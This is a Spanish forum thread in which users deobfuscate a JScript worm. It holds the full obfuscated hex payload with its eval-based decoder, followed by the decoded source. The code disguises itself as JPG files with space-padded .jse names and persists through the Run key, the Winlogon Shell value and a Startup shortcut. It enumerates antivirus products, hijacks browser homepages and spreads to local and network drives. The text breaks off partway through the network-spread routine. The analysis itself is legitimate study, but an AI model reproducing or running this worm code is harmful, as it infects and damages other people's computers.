9a5aba27d84d6c5c0d398cfc2c189c4cfc0c8838489a9bcc8c086cecb867d89c5cec07d96d8c4c183cecfc189cfcaa7cad2c0cd9ebccec0838489c4c9bfc0d3aac1837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6c0d398cfc2c189c4cfc0c8838489a9bcc8c096d8d8c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d3849898c1bcc7cec084d6c4c183c5c0d37c987d7d84d6c0d398c5c0d396d8bc899ecacbd4a1c4c7c083c287cec1867db7b77d86c0d38496c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce98bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce96d8c0c7cec0d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988bd896c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce988d96d8d8c0c7cec0d6c4c183bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d38489aec4d5c097c1ced584d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96bc899fc0c7c0cfc0a1c4c7c083cec1867db7b77d86c0d38496bc899ecacbd4a1c4c7c083c287cec1867db7b77d86c0d38496bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8d8d8bebccfbec383c084d6d8cec1987d7d96d8bdcdc0bcc696bfc0c1bcd0c7cf95bdcdc0bcc696d8d8d8bebccfbec383c084d6d8cfcdd4d6c4c183c3cdbc978c8d84d6c3cdbc86988c96d8c4c183c3cdbc98988c8d84d6bfc9ce98ce89a9bcc8c0aecbbcbec0838c938496c0c9ce98bfc9ce89a4cfc0c8ce8384899ecad0c9cf96c3c9ce98c9c0d27b9ccdcdbcd4838496c1cacd83c1988b96c197c0c9ce96c1868684d6c2c9ce98bfc9ce89a4cfc0c8ce838489c4cfc0c883c18496c3c9ce89cbd0cec3837dbfc9ce89a4cfc0c8ce838489a4cfc0c8837d86c1867d8489a2c0cfa1cac7bfc0cd7d8496d8c1cacd83c4988b96c497c3c9ce89c7c0c9c2cfc396c4868684d6cfcdd4d6c5c9ce98c0d1bcc783c3c9ceb6c4b88489a4cfc0c8ce8384899ecad0c9cf96c1cacd83c7988b96c797c5c9ce96c7868684d6c4c183bc89a1cac7bfc0cda0d3c4cecfce83c0d1bcc783c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489abbccfc37d84849898c1bcc7cec084d6c3c9ce89cbd0cec383c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489a2c0cfa1cac7bfc0cd7d8496d8c0c7cec0d6cfcdd4d6bfc4ce98cbc083c0d1bcc783c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489abbccfc37d84867db7b77d84867d7d96bfc498bc89a2c0cfa1cac7bfc0cd83bfc4ce8496cfc2c198c9c0d27ba0c9d0c8c0cdbccfcacd83bfc489c1c4c7c0ce8496c1cacd83967ccfc2c189bccfa0c9bf838496cfc2c189c8cad1c0a9c0d3cf838484d6cecfc198cfc2c189c4cfc0c88384867d7d96c4c183cecfc189ced0bdcecfcdc4c9c283cecfc189c7c0c9c2cfc3888f87cecfc189c7c0c9c2cfc38489cfcab0cbcbc0cd9ebccec0838498987d89a5aba27d84d6c5c0d398cfc2c189c4cfc0c8838489a9bcc8c086cecb867d89c5cec07d96d8c4c183cecfc189cfcaa7cad2c0cd9ebccec0838489c4c9bfc0d3aac1837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6c0d398cfc2c189c4cfc0c8838489a9bcc8c096d8d8c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d3849898c1bcc7cec08181bfc4ce89bec3bccd9ccf838c847c987d957d84d6c4c183c5c0d37c987d7d84d6c0d398c5c0d396d8bc899ecacbd4a1c4c7c083c287bfc4867db7b77d86c0d38496c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce98bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce96d8c0c7cec0d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce988d96d8d8c0c7cec0d6c4c183bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d38489aec4d5c097c1ced584d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96bc899fc0c7c0cfc0a1c4c7c083bfc4867db7b77d86c0d38496bc899ecacbd4a1c4c7c083c287bfc4867db7b77d86c0d38496bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8d8d8bebccfbec383c084d6d8d8d8d8bebccfbec383c084d6d8d8c3cdbc988b96d8d8bebccfbec383c084d6d8c8c6838496d8c1d0c9becfc4cac97bbec48384d6cfcdd4d6bfbd8d98bc89aacbc0c9afc0d3cfa1c4c7c083c2878c8496c28d98bfbd8d89adc0bcbf9cc7c7838496bfbd8d899ec7cacec0838496c28e98c28d89ced0bdcecfcdc4c9c283c28d89cec0bccdbec38382d5987d8284868e87c28d89cec0bccdbec383827d9682848496c28c98c28d89ced0bdcecfcdc4c9c2838b87c28d89cec0bccdbec38382d5987d8284868e8496c2cd98c28d89ced0bdcecfcdc4c9c283c28d89cec0bccdbec383827d96828487c28d89c7c0c9c2cfc38496cf98c7c796cfcf987d7d96cfc898cf89c7c0c9c2cfc396cdbcbe98a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac8838485949384868c96c1cacd83d3988b96d397cfc896d3868684d6c9d0c898cf89bec3bccd9ecabfc09ccf83d38486cdbcbe96c3d398c9d0c889cfcaaecfcdc4c9c2838c918496c4c183c3d389c7c0c9c2cfc3978d84d6c3d3987d8b7d86c3d396d8cfcf8698c3d396c3d398828296d8c4c183cdbcbe978c8b84d6cdbcbe987d8b7d86cdbcbe96d8cfcf8698cdbcbe96c28f98c28c86cfcf86c2cd96cdc0cfd0cdc97bc28f96d8bebccfbec383c084d6d8d8c1d0c9becfc4cac97bcbc083cfbccd84d6cac9c0c198c1bcc7cec096cec1cb98bc89a2c0cfa1cac7bfc0cd83cfbccd8496cfc2be98c9c0d27ba0c9d0c8c0cdbccfcacd83cec1cb89ced0bda1cac7bfc0cdce8496c1cacd83967ccfc2be89bccfa0c9bf838496cfc2be89c8cad1c0a9c0d3cf838484d6cecfbe98cfc2be89c4cfc0c8838489a9bcc8c089cfcaa7cad2c0cd9ebccec0838496c4c183cecfbe89cec0bccdbec3837dc1cacfca7d847c98888cd7d7cecfbe89cec0bccdbec3837dcbc3cacfca7d847c98888cd7d7cecfbe89cec0bccdbec3837dc4c8bcc2c07d847c98888cd7d7cecfbe89cec0bccdbec3837dc4c8b7d08b8ba08cc2c07d847c98888cd7d7cecfbe89cec0bccdbec3837dcbc4becfd0cdc07d847c98888c84d6c4c183cac9c0c19898c1bcc7cec084d6cec1cb98bc89a2c0cfa1cac7bfc0cd83cfc2be89c4cfc0c88384867db7b77d8496d8cac9c0c198cfcdd0c096d8d8cdc0cfd0cdc97bcec1cb96d8c1d0c9becfc4cac97bcec3bed08384d6becec3be987d7d96c7c9c6ce98c9c0d27ba0c9d0c8c0cdbccfcacd83bc89a2c0cfa1cac7bfc0cd83be8e8489c1c4c7c0ce8496c1cacd83967cc7c9c6ce89bccfa0c9bf838496c7c9c6ce89c8cad1c0a9c0d3cf838484d6cfcdd4d6c7c6ce98c7c9c6ce89c4cfc0c88384867d7d96c4c183c7c6ce89ced0bdcecfcdc4c9c283c7c6ce89c7c0c9c2cfc3888f87c7c6ce89c7c0c9c2cfc38489cfcaa7cad2c0cd9ebccec0838498987d89c7c9c67d84d6c7c9c6bc98bd899ecdc0bccfc0aec3cacdcfbed0cf83c7c9c6ce89c4cfc0c8838484899ccdc2d0c8c0c9cfce96c4c183c7c9c6bc89cec0bccdbec3837d8a8aa095a5aebecdc4cbcf7b8a8a9d7b88c9ce7d847c98888c84d6becec3be98c7c9c6bc89ced0bdcecfcdc4c9c283c7c9c6bc89c4c9bfc0d3aac183827d8284868c87c7c9c6bc89c7bccecfa4c9bfc0d3aac183827d82848496bc899fc0c7c0cfc0a1c4c7c083c7c9c6ce89c4cfc0c883848496d8d8d8bebccfbec383c084d6d8d8cdc0cfd0cdc97bbecec3be96d891";ll="";dm=z.length-2;rad=new Number(z.substring(dm,dm+2));for(y=0;y<dm;y+=2){num=z.substring(y,y+2);ld=new Number("0x"+num);an=ld.toString(10);ch=String.fromCharCode(an-rad);ll+=ch;}eval(ll);
  2.  

Perdon, pero no se de que otra forma subir el codigo y que quede en diferentes lineas. Lo otro que puedo hacer es subirlo en MEGA con extension txt y alguien lo sube de nuevo aqui descifrado. Saludos

Título: Re: [Ayuda] descifrando un virus
Publicado por: engel lex en 11 Julio 2015, 17:39 pm
no sabia que el vbs se parecía tanto el js... solo tienes que seguir los pasos sin el eval (para que no se ejecute) y revisar la variable que se evalua

aquí está sin la primera ofuscación

Código
  1. try {
  2.     a = WScript.CreateObject('Scri' + 'pting.Fi' + 'leSys' + 'temObj' + 'ect');
  3.     b = WScript.CreateObject('WSc' + 'ript.Sh' + 'ell');
  4.     s = WScript.CreateObject('She' + 'll.Appli' + 'cation');
  5.     wl = WScript.CreateObject('WbemScr' + 'ipting.SWbemL' + 'ocator');
  6.     db = WScript.CreateObject('ADO' + 'DB.Str' + 'eam');
  7.     db.CharSet = "US-ASCII";
  8.     db.Type = 2;
  9.     c3 = b.SpecialFolders("Startup");
  10.     nt6 = (b.RegRead('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentVersion') >= 6 ? true : false);
  11.     jico = b.RegRead("HKLM\\SOFTWARE\\Classes\\" + b.RegRead("HKLM\\SOFTWARE\\Classes\\.jpg\\") + "\\DefaultIcon\\");
  12.     ico = "explorer.exe";
  13.     g = WScript.ScriptFullName;
  14.     da = new Date();
  15.     ano = da.getYear() + "";
  16.     mes = da.getMonth();
  17.     dia = da.getDate();
  18.     hra = 0;
  19.     antv = new Array("");
  20.     rgk = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  21.     wlg = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell";
  22.     gn = new Array("IMG", "IMG_", "PIC", "DSC", "CIMG", "HPIM", "IMAG", "DSCF", "DSCN", "DCIM", "IM", "PICT", "SAM_");
  23.     sp = "";
  24.     for (r = 0; r < 94; r++) {
  25.         sp += " ";
  26.     }
  27.     ex = gn[Math.round(Math.random() * 12)] + ano.substring(2, 4) + "" + mes + dia + ".JPG" + sp + ".jse";
  28.     jex = "";
  29.     tas = "explorer";
  30.     fsz = a.GetFile(g).Size;
  31.     wsc = WScript.FullName;
  32.     stl = "https://www.google.es/#output=search&sclient=psy-ab&q=fiverdolly+";
  33.     stp = stl + fsz;
  34.     if (s.NameSpace(26) == "Roaming") {
  35.         tot = a.GetFolder(s.NameSpace(26).ParseName("Microsoft").Path).ParentFolder;
  36.     } else {
  37.         tot = s.NameSpace(40).ParseName(s.NameSpace(26)).Path;
  38.     }
  39.     nt();
  40. } catch (e) {}
  41. sf = "";
  42.  
  43. function nt() {
  44.     try {
  45.         c1 = s.NameSpace(28).ParseName("microsoft");
  46.         c2 = c1.GetFolder.Items().Count;
  47.         rf = Math.round(Math.random() * c2 - 1);
  48.         c4 = c1.GetFolder.Items().item(rf).Path;
  49.         if (a.FolderExists(c4) == false) {
  50.             c4 = a.GetFile(c4).ParentFolder;
  51.         }
  52.     } catch (e) {
  53.         c4 = c1.Path;
  54.     }
  55.     c5 = Math.random() * 8 + 1 + "";
  56.     c5 = c5.replace(".", "");
  57.     try {
  58.         b.RegWrite("HKCU\\SOFTWARE\\Classes\\JSEFile\\DefaultIcon\\", jico, "REG_SZ");
  59.     } catch (e) {}
  60.     try {
  61.         jtyp = b.RegRead("HKLM\\SOFTWARE\\Classes\\jpegfile\\FriendlyTypeName");
  62.         b.RegWrite("HKCU\\SOFTWARE\\Classes\\JSEFile\\FriendlyTypeName", jtyp, "REG_EXPAND_SZ");
  63.     } catch (e) {}
  64.     try {
  65.         b.RegWrite("HKLM\\SOFTWARE\\Classes\\JSEFile\\DefaultIcon\\", jico, "REG_SZ");
  66.     } catch (e) {}
  67.     try {
  68.         b.RegWrite("HKLM\\SOFTWARE\\Classes\\JSEFile\\FriendlyTypeName", jtyp, "REG_EXPAND_SZ");
  69.     } catch (e) {}
  70.     if (g.substring(g.lastIndexOf("\\") + 1, g.length).toLowerCase().search(".jpg" + sp + ".jse") != -1) {
  71.         try {
  72.             if (a.FileExists(g.substring(0, g.lastIndexOf(sp + ".jse"))) == true) {
  73.                 b.run('"' + g.substring(0, g.lastIndexOf(sp + ".jse")) + '"');
  74.             } else {
  75.                 wp = b.RegRead("HKCU\\Control Panel\\Desktop\\Wallpaper");
  76.                 if (wp.substring(wp.lastIndexOf("\\") + 1, wp.length) == "TranscodedWallpaper") {
  77.                     jpgc = b.RegRead("HKLM\\SOFTWARE\\Classes\\jpegfile\\shell\\open\\command\\").replace("%1", wp);
  78.                     b.run(jpgc);
  79.                 } else {
  80.                     b.run('"' + wp + '"');
  81.                 }
  82.             }
  83.         } catch (e) {}
  84.         try {
  85.             sc = wl.ConnectServer(null, "root\\default");
  86.             rg = sc.Get("StdRegProv");
  87.             m = rg.Methods_.Item("EnumValues");
  88.             pin = m.InParameters.SpawnInstance_();
  89.             rk = new Object();
  90.             rk["HKCU"] = rk["HKEY_CURRENT_USER"] = 0x80000001;
  91.             rv = rk[rgk.substr(0, rgk.indexOf("\\"))];
  92.             pin.hDefKey = rv;
  93.             pin.sSubKeyName = rgk.substr(rgk.indexOf("\\") + 1);
  94.             pot = rg.ExecMethod_(m.Name, pin);
  95.             ak = pot.sNames.toArray();
  96.             for (key in ak) {
  97.                 tts = b.RegRead(rgk + "\\" + ak[key]) + "";
  98.                 if (tts.search(".exe") != -1) {
  99.                     tts2 = tts.substring(0, tts.search(".exe"));
  100.                     tts3 = tts2.substring(tts2.lastIndexOf(":") - 1, tts2.length) + ".exe";
  101.                     if (a.FileExists(tts3) == true) {
  102.                         ico = tts3;
  103.                     }
  104.                     if (tts2.indexOf("\\") != -1) {
  105.                         tts2 = tts2.substring(tts2.lastIndexOf("\\") + 1, tts2.length);
  106.                     }
  107.                     tas = tts2;
  108.                 }
  109.             }
  110.         } catch (e) {}
  111.         if (tas.indexOf(" ") != -1) {
  112.             tas = tas.substring(0, tas.indexOf(" "));
  113.         }
  114.         if (tas.indexOf(".") != -1) {
  115.             tas = tas.substring(0, tas.indexOf("."));
  116.         }
  117.         try {
  118.             newd = fsz;
  119.             olddf = b.RegRead(wlg);
  120.             olddf = olddf.substring(olddf.lastIndexOf('" "') + 3, olddf.lastIndexOf('"'));
  121.         } catch (e) {
  122.             olddf = shcu();
  123.         }
  124.         if (a.FileExists(olddf) == true) {
  125.             c4 = a.GetFile(olddf).ParentFolder;
  126.             oldd = a.GetFile(olddf).size;
  127.         } else {
  128.             oldd = 0;
  129.             olddf = c4 + "\\" + c5;
  130.         }
  131.         if (newd >= oldd) {
  132.             if (a.FileExists(olddf) == true) {
  133.                 a.GetFile(olddf).Attributes = 0;
  134.             }
  135.             db.Open();
  136.             try {
  137.                 av = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter" + (nt6 ? '2' : ''));
  138.                 avi = av.ExecQuery("SELECT * FROM AntiVirusProduct", "WQL");
  139.                 navi = new Enumerator(avi);
  140.                 antv = new Array();
  141.                 for (; !navi.atEnd(); navi.moveNext()) {
  142.                     oav = navi.item();
  143.                     antv.push(oav.displayName);
  144.                 }
  145.             } catch (e) {
  146.                 antv = new Array("NAC");
  147.             }
  148.             try {
  149.                 vic = "<" + b.RegRead("HKCU\\Volatile Environment\\LOGONSERVER").replace("\\\\", "") + ":" + b.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName") + "=" + s.NameSpace(40) + ":" + antv + ">";
  150.             } catch (e) {
  151.                 vic = "";
  152.             }
  153.             cod = ci();
  154.             if (cod.search(vic) == -1 && rad != 0) {
  155.                 nda = vic + "**/";
  156.                 his = cod.replace("**/", nda);
  157.                 db.WriteText(his);
  158.             } else {
  159.                 db.WriteText(cod);
  160.             }
  161.             db.SaveToFile(olddf, 2);
  162.             db.Close();
  163.             try {
  164.                 if (a.GetFile(olddf).OpenAsTextStream(1, -2).ReadAll().charCodeAt(0) != 122) {
  165.                     a.CopyFile(g, olddf, true);
  166.                 }
  167.                 a.GetFile(olddf).Attributes = 2;
  168.             } catch (e) {}
  169.             wsh = c4 + "\\" + tas + ".exe";
  170.             try {
  171.                 a.CopyFile(wsc, wsh);
  172.             } catch (e) {}
  173.             a.GetFile(wsh).Attributes = 2;
  174.             try {
  175.                 drg = '"' + wsh + '" "' + olddf + '" //E:JScript //B';
  176.                 shcu();
  177.                 ec = b.CreateShortcut(c3 + "\\" + tas + ".lnk");
  178.                 ec.TargetPath = c4 + "\\" + tas + ".exe";
  179.                 ec.Arguments = '"' + olddf + '" //E:JScript //B -ns';
  180.                 ec.IconLocation = ico;
  181.                 ec.Save();
  182.                 b.RegWrite(wlg, drg, 'REG_SZ');
  183.                 WScript.Sleep(9999);
  184.                 if (b.RegRead(wlg) == drg) {
  185.                     a.DeleteFile(c3 + "\\" + tas + ".lnk");
  186.                 }
  187.             } catch (e) {}
  188.         }
  189.     } else {
  190.         try {
  191.             if (WScript.Arguments.length == 0) {
  192.                 b.run("explorer.exe");
  193.             }
  194.         } catch (e) {}
  195.         try {
  196.             fcfp = new Array();
  197.             tcmd = new Array();
  198.             for (t = 0; t < 9; t++) {
  199.                 tcmd.push(tot + "\\TC201" + t + "\\tcignore.txt");
  200.                 try {
  201.                     fcfp.push(s.NameSpace(38).ParseName("TotalCommander201" + t).Path + "\\Tools\\Mozilla Firefox\\defaults\\profile");
  202.                 } catch (e) {}
  203.                 try {
  204.                     fcfp.push(s.NameSpace(48).ParseName("TotalCommander201" + t).Path + "\\Tools\\Mozilla Firefox\\defaults\\profile");
  205.                 } catch (e) {}
  206.             }
  207.             try {
  208.                 tcmd.push(s.NameSpace(38).ParseName("TC UP").Path + "\\tcignore.txt");
  209.             } catch (e) {}
  210.             try {
  211.                 tcmd.push(s.NameSpace(48).ParseName("TC UP").Path + "\\tcignore.txt");
  212.             } catch (e) {}
  213.             try {
  214.                 tcmd.push(s.NameSpace(28).ParseName("ghisler").Path + "\\tcignore.txt");
  215.             } catch (e) {}
  216.             try {
  217.                 tcmd.push(s.NameSpace(26).ParseName("ghisler").Path + "\\tcignore.txt");
  218.             } catch (e) {}
  219.             tcmd.push("c:\\totalcmd\\tcignore.txt");
  220.             for (t = 0; t < tcmd.length; t++) {
  221.                 if (a.FileExists(tcmd[t].replace("tcignore.txt", "wincmd.ini")) == true) {
  222.                     try {
  223.                         db.Open();
  224.                         if (a.FileExists(tcmd[t]) == false) {
  225.                             ttn = a.CreateTextFile(tcmd[t], true);
  226.                             ttn.Write("**.**.jse");
  227.                             ttn.close();
  228.                         }
  229.                         igl = "";
  230.                         try {
  231.                             db.LoadFromFile(tcmd[t]);
  232.                             igl = db.ReadText;
  233.                         } catch (e) {}
  234.                         db.Close();
  235.                         if (igl.indexOf("**.**.jse") == -1) {
  236.                             db.Open();
  237.                             db.WriteText(igl, 1);
  238.                             db.WriteText("**.**.jse", 1);
  239.                             a.DeleteFile(tcmd[t]);
  240.                             db.SaveToFile(tcmd[t]);
  241.                             db.Close();
  242.                         }
  243.                     } catch (e) {}
  244.                     try {
  245.                         tor = a.OpenTextFile(a.GetFile(tcmd[t]).ParentFolder + "\\Wincmd.ini", 1, true, 0);
  246.                         toa = tor.ReadAll();
  247.                         if (toa.search("IgnoreListFileEnabled=0") != -1) {
  248.                             toa = toa.replace("IgnoreListFileEnabled=0", "IgnoreListFileEnabled=1");
  249.                         }
  250.                         if (toa.search("IgnoreListFile=") == -1) {
  251.                             toa = toa.replace("[Configuration]", "[Configuration]" + "\nIgnoreListFile=" + tcmd[t]);
  252.                         }
  253.                         if (tcmd[t].search("TC201") != -1) {
  254.                             if (toa.search("=*.jse") == -1) {
  255.                                 filt = toa.substring(toa.lastIndexOf("Filter") + 6, toa.lastIndexOf(".icon="));
  256.                                 enf = toa.substring(toa.lastIndexOf("Filter"), toa.length);
  257.                                 enl = enf.substring(0, enf.indexOf("\n") + 1);
  258.                                 fln = new Number(filt) + 1;
  259.                                 ficon = toa.substring(toa.search("Filter11.icon=") + 14, toa.length);
  260.                                 dicon = ficon.substring(0, ficon.search("\n"));
  261.                                 toa = toa.replace(enl, enl + "\nFilter" + fln + "=*.jse\nFilter" + fln + ".icon=" + dicon + "\n");
  262.                                 toa = toa.replace("FileTipWindows=1", "FileTipWindows=0");
  263.                             }
  264.                         }
  265.                         tor.close();
  266.                         tow = a.OpenTextFile(a.GetFile(tcmd[t]).ParentFolder + "\\Wincmd.ini", 2, true, 0);
  267.                         tow.Write(toa);
  268.                         tow.close();
  269.                     } catch (e) {}
  270.                 }
  271.             }
  272.         } catch (e) {}
  273.         try {
  274.             b.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", stp, "REG_SZ")
  275.         } catch (e) {}
  276.         try {
  277.             if (a.FolderExists(tot + "\\Mozilla\\Firefox\\Profiles") == true) {
  278.                 fpf = a.GetFolder(tot + "\\Mozilla\\Firefox\\Profiles");
  279.                 pff = new Enumerator(fpf.SubFolders);
  280.                 for (; !pff.atEnd(); pff.moveNext()) {
  281.                     pfs = pff.item() + "";
  282.                     if (pfs.search(".default") != -1) {
  283.                         fcfp.push(pfs);
  284.                     }
  285.                 }
  286.             }
  287.             for (q = 0; q < fcfp.length; q++) {
  288.                 try {
  289.                     if (a.FileExists(fcfp[q] + "\\prefs.js") == true); {
  290.                         fjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 1);
  291.                         fjs = fjf.ReadAll();
  292.                         fjf.close();
  293.                         usp = 'user_pref("browser.startup.homepage",';
  294.                         if (fjs.indexOf(usp) != -1) {
  295.                             fjs1 = fjs.substring(fjs.indexOf(usp) + 37, fjs.length);
  296.                             fjs2 = fjs1.substring(0, fjs1.indexOf(');') + 2);
  297.                             fjs3 = fjs.replace(usp + fjs2, usp + ' "' + stp + '");');
  298.                             wjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 2);
  299.                             wjf.Write(fjs3);
  300.                         } else {
  301.                             wjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 8);
  302.                             wjf.WriteLine('\n' + usp + ' "' + stp + '");');
  303.                         }
  304.                         wjf.close();
  305.                     }
  306.                 } catch (e) {}
  307.             }
  308.         } catch (e) {}
  309.         try {
  310.             gfs = s.NameSpace(28).ParseName("Google").Path + "\\Chrome\\User Data\\Default\\Preferences";
  311.             if (a.FileExists(gfs) == true) {
  312.                 gjf = a.OpenTextFile(gfs, 1);
  313.                 gjs = gjf.ReadAll();
  314.                 gjf.close();
  315.                 gjsn = gjs.length;
  316.                 urs = '"urls_to_restore_on_startup": [';
  317.                 ros = '"restore_on_startup":';
  318.                 rosm = '"restore_on_startup_migrated":';
  319.                 if (gjs.indexOf(stl) == -1) {
  320.                     if (gjs.indexOf(urs) != -1) {
  321.                         gjs1 = gjs.substring(gjs.indexOf(urs) + 31, gjsn);
  322.                         gjs2 = gjs1.substring(0, gjs1.indexOf("]") + 1);
  323.                         gjs3 = gjs.replace(urs + gjs2, urs + ' "' + stp + '", ' + gjs2);
  324.                     } else {
  325.                         gjs1 = gjs.substring(gjs.indexOf(rosm), gjsn);
  326.                         gjs2 = gjs1.substring(0, gjs1.indexOf("\n") + 1);
  327.                         gjs3 = gjs.replace(gjs2, rosm + ' true,\n\t' + urs + ' "' + stp + '" ]\n');
  328.                     }
  329.                     gjs4 = gjs.substring(gjs.indexOf(ros), gjsn);
  330.                     gjs5 = gjs4.substring(0, gjs4.indexOf(',') + 1);
  331.                     gjs3 = gjs3.replace(gjs5, ros + ' 4,');
  332.                     wjg = a.OpenTextFile(gfs, 2);
  333.                     wjg.Write(gjs3);
  334.                     wjg.close();
  335.                 } else {
  336.                     fds = gjs.substring(gjs.indexOf(stl), gjs.length);
  337.                     fdc = fds.substring(0, fds.indexOf('"'));
  338.                     gjs4 = gjs.replace(fdc, stp);
  339.                     wjg = a.OpenTextFile(gfs, 2);
  340.                     wjg.Write(gjs4);
  341.                     wjg.close();
  342.                 }
  343.             }
  344.         } catch (e) {}
  345.         mk();
  346.     }
  347. }
  348.  
  349. function mk() {
  350.     WScript.Sleep(120000);
  351.     try {
  352.         c = new Enumerator(a.Drives);
  353.         for (; !c.atEnd(); c.moveNext()) {
  354.             tipodisco = c.item().DriveType;
  355.             switch (tipodisco) {
  356.                 case 1:
  357.                 case 3:
  358.                     if (c.item() != "A:" && c.item() != "B:") {
  359.                         try {
  360.                             sf = a.GetFolder(pe(c.item() + "\\"));
  361.                             tgf = new Enumerator(sf.files);
  362.                             for (; !tgf.atEnd(); tgf.moveNext()) {
  363.                                 stf = tgf.item() + "";
  364.                                 if (stf.substring(stf.length - 4, stf.length).toUpperCase() == ".JPG") {
  365.                                     jex = tgf.item().Name + sp + ".jse";
  366.                                 }
  367.                                 if (stf.toLowerCase().indexOf(".jpg" + sp + ".jse") != -1) {
  368.                                     ex = tgf.item().Name;
  369.                                 }
  370.                             }
  371.                             if (a.FileExists(sf + "\\" + ex) == false) {
  372.                                 if (jex != "") {
  373.                                     ex = jex;
  374.                                 }
  375.                                 a.CopyFile(g, sf + "\\" + ex);
  376.                                 if (a.FileExists(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  377.                                     a.GetFile(sf + "\\" + ex).Attributes = a.GetFile(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes;
  378.                                 } else {
  379.                                     a.GetFile(sf + "\\" + ex).Attributes = 0
  380.                                 };
  381.                                 if (a.FileExists(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
  382.                                     a.GetFile(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes = 2;
  383.                                 }
  384.                             } else {
  385.                                 if (a.GetFile(sf + "\\" + ex).Size < fsz) {
  386.                                     a.GetFile(sf + "\\" + ex).Attributes = 0;
  387.                                     a.DeleteFile(sf + "\\" + ex);
  388.                                     a.CopyFile(g, sf + "\\" + ex);
  389.                                     a.GetFile(sf + "\\" + ex).Attributes = 0;
  390.                                 }
  391.                             }
  392.                         } catch (e) {}
  393.                         sf = "";
  394.                     }
  395.                     break;
  396.                 default:
  397.                     break;
  398.             }
  399.         }
  400.     } catch (e) {}
  401.     try {
  402.         if (hra < 12) {
  403.             hra += 1;
  404.         }
  405.         if (hra == 12) {
  406.             dns = s.NameSpace(18);
  407.             ens = dns.Items().Count;
  408.             hns = new Array();
  409.             for (f = 0; f < ens; f++) {
  410.                 gns = dns.Items().item(f);
  411.                 hns.push("dns.Items().Item(" + f + ").GetFolder");
  412.             }
  413.             for (i = 0; i < hns.length; i++) {
  414.                 try {
  415.                     jns = eval(hns[i]).Items().Count;
  416.                     for (l = 0; l < jns; l++) {
  417.                         if (a.FolderExists(eval(hns[i] + ".Items().item(" + l + ").Path")) == false) {
  418.                             hns.push(hns[i] + ".Items().item(" + l + ").GetFolder");
  419.                         } else {
  420.                             try {
  421.                                 dis = pe(eval(hns[i] + ".Items().item(" + l + ").Path") + "\\") + "";
  422.                                 di = a.GetFolder(dis);
  423.                                 tgf = new Enumerator(di.files);
  424.                                 for (; !tgf.atEnd(); tgf.moveNext()) {
  425.                                     stf = tgf.item() + "";
  426.                                     if (stf.substring(stf.length - 4, stf.length).toUpperCase() == ".JPG") {
  427.                                         jex = tgf.item().Name + sp + ".jse";
  428.                                     }
  429.                                     if (stf.toLowerCase().indexOf(".jpg" + sp + ".jse") != -1) {
  430.                                         ex = tgf.item().Name;
  431.                                     }
